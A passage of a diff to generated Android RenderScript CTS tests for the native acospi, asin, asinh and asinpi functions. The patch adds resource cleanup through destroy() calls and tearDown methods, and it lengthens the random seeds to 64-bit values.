             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeAcospiHalf3Half3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeAcospiHalf3Half3(Allocation inV, Allocation out, boolean relaxed) {
@@ -544,11 +572,12 @@
     }
 
     private void checkNativeAcospiHalf4Half4() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 4, 0xc4f5aa23l, -1, 1);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 4, 0xa354064bc4f5aa23l, -1, 1);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             script.forEach_testNativeAcospiHalf4Half4(inV, out);
             verifyResultsNativeAcospiHalf4Half4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeAcospiHalf4Half4: " + e.toString());
         }
@@ -556,9 +585,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             scriptRelaxed.forEach_testNativeAcospiHalf4Half4(inV, out);
             verifyResultsNativeAcospiHalf4Half4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeAcospiHalf4Half4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeAcospiHalf4Half4(Allocation inV, Allocation out, boolean relaxed) {
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeAsin.java b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeAsin.java
index 442b62a..81b8679 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeAsin.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeAsin.java
@@ -37,17 +37,25 @@
         scriptRelaxed = new ScriptC_TestNativeAsinRelaxed(mRS);
     }
 
+    @Override
+    protected void tearDown() throws Exception {
+        script.destroy();
+        scriptRelaxed.destroy();
+        super.tearDown();
+    }
+
     public class ArgumentsFloatFloat {
         public float inV;
         public Target.Floaty out;
     }
 
     private void checkNativeAsinFloatFloat() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x8d3e5bc7l, -1, 1);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x1167d6d8d3e5bc7l, -1, 1);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             script.forEach_testNativeAsinFloatFloat(inV, out);
             verifyResultsNativeAsinFloatFloat(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeAsinFloatFloat: " + e.toString());
         }
@@ -55,9 +63,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             scriptRelaxed.forEach_testNativeAsinFloatFloat(inV, out);
             verifyResultsNativeAsinFloatFloat(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeAsinFloatFloat: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeAsinFloatFloat(Allocation inV, Allocation out, boolean relaxed) {
@@ -112,11 +122,12 @@
     }
 
     private void checkNativeAsinFloat2Float2() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 2, 0xebdf2133l, -1, 1);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 2, 0xdb4aa187ebdf2133l, -1, 1);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             script.forEach_testNativeAsinFloat2Float2(inV, out);
             verifyResultsNativeAsinFloat2Float2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeAsinFloat2Float2: " + e.toString());
         }
@@ -124,9 +135,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             scriptRelaxed.forEach_testNativeAsinFloat2Float2(inV, out);
             verifyResultsNativeAsinFloat2Float2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeAsinFloat2Float2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeAsinFloat2Float2(Allocation inV, Allocation out, boolean relaxed) {
@@ -181,11 +194,12 @@
     }
 
     private void checkNativeAsinFloat3Float3() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 3, 0xe1fa4211l, -1, 1);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 3, 0xdb4c6aa2e1fa4211l, -1, 1);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             script.forEach_testNativeAsinFloat3Float3(inV, out);
             verifyResultsNativeAsinFloat3Float3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeAsinFloat3Float3: " + e.toString());
         }
@@ -193,9 +207,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             scriptRelaxed.forEach_testNativeAsinFloat3Float3(inV, out);
             verifyResultsNativeAsinFloat3Float3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeAsinFloat3Float3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeAsinFloat3Float3(Allocation inV, Allocation out, boolean relaxed) {
@@ -250,11 +266,12 @@
     }
 
     private void checkNativeAsinFloat4Float4() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 4, 0xd81562efl, -1, 1);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 4, 0xdb4e33bdd81562efl, -1, 1);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             script.forEach_testNativeAsinFloat4Float4(inV, out);
             verifyResultsNativeAsinFloat4Float4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeAsinFloat4Float4: " + e.toString());
         }
@@ -262,9 +279,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             scriptRelaxed.forEach_testNativeAsinFloat4Float4(inV, out);
             verifyResultsNativeAsinFloat4Float4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeAsinFloat4Float4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeAsinFloat4Float4(Allocation inV, Allocation out, boolean relaxed) {
@@ -325,11 +344,12 @@
     }
 
     private void checkNativeAsinHalfHalf() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 1, 0x228512e9l, -1, 1);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 1, 0xd1966c64228512e9l, -1, 1);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             script.forEach_testNativeAsinHalfHalf(inV, out);
             verifyResultsNativeAsinHalfHalf(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeAsinHalfHalf: " + e.toString());
         }
@@ -337,9 +357,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             scriptRelaxed.forEach_testNativeAsinHalfHalf(inV, out);
             verifyResultsNativeAsinHalfHalf(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeAsinHalfHalf: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeAsinHalfHalf(Allocation inV, Allocation out, boolean relaxed) {
@@ -398,11 +420,12 @@
     }
 
     private void checkNativeAsinHalf2Half2() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 2, 0xfa5ca303l, -1, 1);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 2, 0xc773ef20fa5ca303l, -1, 1);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
             script.forEach_testNativeAsinHalf2Half2(inV, out);
             verifyResultsNativeAsinHalf2Half2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeAsinHalf2Half2: " + e.toString());
         }
@@ -410,9 +433,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
             scriptRelaxed.forEach_testNativeAsinHalf2Half2(inV, out);
             verifyResultsNativeAsinHalf2Half2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeAsinHalf2Half2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeAsinHalf2Half2(Allocation inV, Allocation out, boolean relaxed) {
@@ -471,11 +496,12 @@
     }
 
     private void checkNativeAsinHalf3Half3() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 3, 0x596467f7l, -1, 1);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 3, 0xc773f9c2596467f7l, -1, 1);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             script.forEach_testNativeAsinHalf3Half3(inV, out);
             verifyResultsNativeAsinHalf3Half3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeAsinHalf3Half3: " + e.toString());
         }
@@ -483,9 +509,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             scriptRelaxed.forEach_testNativeAsinHalf3Half3(inV, out);
             verifyResultsNativeAsinHalf3Half3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeAsinHalf3Half3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeAsinHalf3Half3(Allocation inV, Allocation out, boolean relaxed) {
@@ -544,11 +572,12 @@
     }
 
     private void checkNativeAsinHalf4Half4() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 4, 0xb86c2cebl, -1, 1);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 4, 0xc7740463b86c2cebl, -1, 1);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             script.forEach_testNativeAsinHalf4Half4(inV, out);
             verifyResultsNativeAsinHalf4Half4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeAsinHalf4Half4: " + e.toString());
         }
@@ -556,9 +585,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             scriptRelaxed.forEach_testNativeAsinHalf4Half4(inV, out);
             verifyResultsNativeAsinHalf4Half4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeAsinHalf4Half4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeAsinHalf4Half4(Allocation inV, Allocation out, boolean relaxed) {
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeAsinh.java b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeAsinh.java
index 581e80c..c2819b1 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeAsinh.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeAsinh.java
@@ -37,17 +37,25 @@
         scriptRelaxed = new ScriptC_TestNativeAsinhRelaxed(mRS);
     }
 
+    @Override
+    protected void tearDown() throws Exception {
+        script.destroy();
+        scriptRelaxed.destroy();
+        super.tearDown();
+    }
+
     public class ArgumentsFloatFloat {
         public float inV;
         public Target.Floaty out;
     }
 
     private void checkNativeAsinhFloatFloat() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x4b5b925bl, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0xbd2e22f24b5b925bl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             script.forEach_testNativeAsinhFloatFloat(inV, out);
             verifyResultsNativeAsinhFloatFloat(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeAsinhFloatFloat: " + e.toString());
         }
@@ -55,9 +63,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             scriptRelaxed.forEach_testNativeAsinhFloatFloat(inV, out);
             verifyResultsNativeAsinhFloatFloat(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeAsinhFloatFloat: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeAsinhFloatFloat(Allocation inV, Allocation out, boolean relaxed) {
@@ -112,11 +122,12 @@
     }
 
     private void checkNativeAsinhFloat2Float2() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0xcde5427l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x62151d490cde5427l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             script.forEach_testNativeAsinhFloat2Float2(inV, out);
             verifyResultsNativeAsinhFloat2Float2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeAsinhFloat2Float2: " + e.toString());
         }
@@ -124,9 +135,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             scriptRelaxed.forEach_testNativeAsinhFloat2Float2(inV, out);
             verifyResultsNativeAsinhFloat2Float2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeAsinhFloat2Float2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeAsinhFloat2Float2(Allocation inV, Allocation out, boolean relaxed) {
@@ -181,11 +194,12 @@
     }
 
     private void checkNativeAsinhFloat3Float3() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x2f97505l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x6216e66402f97505l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             script.forEach_testNativeAsinhFloat3Float3(inV, out);
             verifyResultsNativeAsinhFloat3Float3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeAsinhFloat3Float3: " + e.toString());
         }
@@ -193,9 +207,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             scriptRelaxed.forEach_testNativeAsinhFloat3Float3(inV, out);
             verifyResultsNativeAsinhFloat3Float3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeAsinhFloat3Float3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeAsinhFloat3Float3(Allocation inV, Allocation out, boolean relaxed) {
@@ -250,11 +266,12 @@
     }
 
     private void checkNativeAsinhFloat4Float4() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0xf91495e3l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x6218af7ef91495e3l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             script.forEach_testNativeAsinhFloat4Float4(inV, out);
             verifyResultsNativeAsinhFloat4Float4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeAsinhFloat4Float4: " + e.toString());
         }
@@ -262,9 +279,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             scriptRelaxed.forEach_testNativeAsinhFloat4Float4(inV, out);
             verifyResultsNativeAsinhFloat4Float4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeAsinhFloat4Float4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeAsinhFloat4Float4(Allocation inV, Allocation out, boolean relaxed) {
@@ -325,11 +344,12 @@
     }
 
     private void checkNativeAsinhHalfHalf() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0xa107ca1dl, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0xc961d2efa107ca1dl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             script.forEach_testNativeAsinhHalfHalf(inV, out);
             verifyResultsNativeAsinhHalfHalf(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeAsinhHalfHalf: " + e.toString());
         }
@@ -337,9 +357,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             scriptRelaxed.forEach_testNativeAsinhHalfHalf(inV, out);
             verifyResultsNativeAsinhHalfHalf(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeAsinhHalfHalf: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeAsinhHalfHalf(Allocation inV, Allocation out, boolean relaxed) {
@@ -398,11 +420,12 @@
     }
 
     private void checkNativeAsinhHalf2Half2() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0xb879d997l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0x838b94a5b879d997l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
             script.forEach_testNativeAsinhHalf2Half2(inV, out);
             verifyResultsNativeAsinhHalf2Half2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeAsinhHalf2Half2: " + e.toString());
         }
@@ -410,9 +433,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
             scriptRelaxed.forEach_testNativeAsinhHalf2Half2(inV, out);
             verifyResultsNativeAsinhHalf2Half2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeAsinhHalf2Half2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeAsinhHalf2Half2(Allocation inV, Allocation out, boolean relaxed) {
@@ -471,11 +496,12 @@
     }
 
     private void checkNativeAsinhHalf3Half3() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0x17819e8bl, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0x838b9f4717819e8bl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             script.forEach_testNativeAsinhHalf3Half3(inV, out);
             verifyResultsNativeAsinhHalf3Half3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeAsinhHalf3Half3: " + e.toString());
         }
@@ -483,9 +509,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             scriptRelaxed.forEach_testNativeAsinhHalf3Half3(inV, out);
             verifyResultsNativeAsinhHalf3Half3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeAsinhHalf3Half3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeAsinhHalf3Half3(Allocation inV, Allocation out, boolean relaxed) {
@@ -544,11 +572,12 @@
     }
 
     private void checkNativeAsinhHalf4Half4() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0x7689637fl, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0x838ba9e87689637fl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             script.forEach_testNativeAsinhHalf4Half4(inV, out);
             verifyResultsNativeAsinhHalf4Half4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeAsinhHalf4Half4: " + e.toString());
         }
@@ -556,9 +585,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             scriptRelaxed.forEach_testNativeAsinhHalf4Half4(inV, out);
             verifyResultsNativeAsinhHalf4Half4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeAsinhHalf4Half4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeAsinhHalf4Half4(Allocation inV, Allocation out, boolean relaxed) {
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeAsinpi.java b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeAsinpi.java
index 5a40037..f1b3fa7 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeAsinpi.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeAsinpi.java
@@ -37,17 +37,25 @@
         scriptRelaxed = new ScriptC_TestNativeAsinpiRelaxed(mRS);
     }
 
+    @Override
+    protected void tearDown() throws Exception {
+        script.destroy();
+        scriptRelaxed.destroy();
+        super.tearDown();
+    }
+
     public class ArgumentsFloatFloat {
         public float inV;
         public Target.Floaty out;
     }
 
     private void checkNativeAsinpiFloatFloat() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 1, 0xad28f75al, -1, 1);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x2558fe45ad28f75al, -1, 1);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             script.forEach_testNativeAsinpiFloatFloat(inV, out);
             verifyResultsNativeAsinpiFloatFloat(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeAsinpiFloatFloat: " + e.toString());
         }
@@ -55,9 +63,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             scriptRelaxed.forEach_testNativeAsinpiFloatFloat(inV, out);
             verifyResultsNativeAsinpiFloatFloat(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeAsinpiFloatFloat: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeAsinpiFloatFloat(Allocation inV, Allocation out, boolean relaxed) {
@@ -112,11 +122,12 @@
     }
 
     private void checkNativeAsinpiFloat2Float2() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x715cc9eel, -1, 1);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 2, 0xbf9f3a86715cc9eel, -1, 1);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             script.forEach_testNativeAsinpiFloat2Float2(inV, out);
             verifyResultsNativeAsinpiFloat2Float2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeAsinpiFloat2Float2: " + e.toString());
         }
@@ -124,9 +135,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             scriptRelaxed.forEach_testNativeAsinpiFloat2Float2(inV, out);
             verifyResultsNativeAsinpiFloat2Float2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeAsinpiFloat2Float2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeAsinpiFloat2Float2(Allocation inV, Allocation out, boolean relaxed) {
@@ -181,11 +194,12 @@
     }
 
     private void checkNativeAsinpiFloat3Float3() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x6777eaccl, -1, 1);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 3, 0xbfa103a16777eaccl, -1, 1);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             script.forEach_testNativeAsinpiFloat3Float3(inV, out);
             verifyResultsNativeAsinpiFloat3Float3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeAsinpiFloat3Float3: " + e.toString());
         }
@@ -193,9 +207,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             scriptRelaxed.forEach_testNativeAsinpiFloat3Float3(inV, out);
             verifyResultsNativeAsinpiFloat3Float3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeAsinpiFloat3Float3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeAsinpiFloat3Float3(Allocation inV, Allocation out, boolean relaxed) {
@@ -250,11 +266,12 @@
     }
 
     private void checkNativeAsinpiFloat4Float4() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x5d930baal, -1, 1);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 4, 0xbfa2ccbc5d930baal, -1, 1);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             script.forEach_testNativeAsinpiFloat4Float4(inV, out);
             verifyResultsNativeAsinpiFloat4Float4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeAsinpiFloat4Float4: " + e.toString());
         }
@@ -262,9 +279,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             scriptRelaxed.forEach_testNativeAsinpiFloat4Float4(inV, out);
             verifyResultsNativeAsinpiFloat4Float4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeAsinpiFloat4Float4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeAsinpiFloat4Float4(Allocation inV, Allocation out, boolean relaxed) {
@@ -325,11 +344,12 @@
     }
 
     private void checkNativeAsinpiHalfHalf() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 1, 0xf6eca014l, -1, 1);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 1, 0xc9da940ef6eca014l, -1, 1);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             script.forEach_testNativeAsinpiHalfHalf(inV, out);
             verifyResultsNativeAsinpiHalfHalf(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeAsinpiHalfHalf: " + e.toString());
         }
@@ -337,9 +357,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             scriptRelaxed.forEach_testNativeAsinpiHalfHalf(inV, out);
             verifyResultsNativeAsinpiHalfHalf(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeAsinpiHalfHalf: " + e.toString());
         }
+        inV.destroy();
     }
 
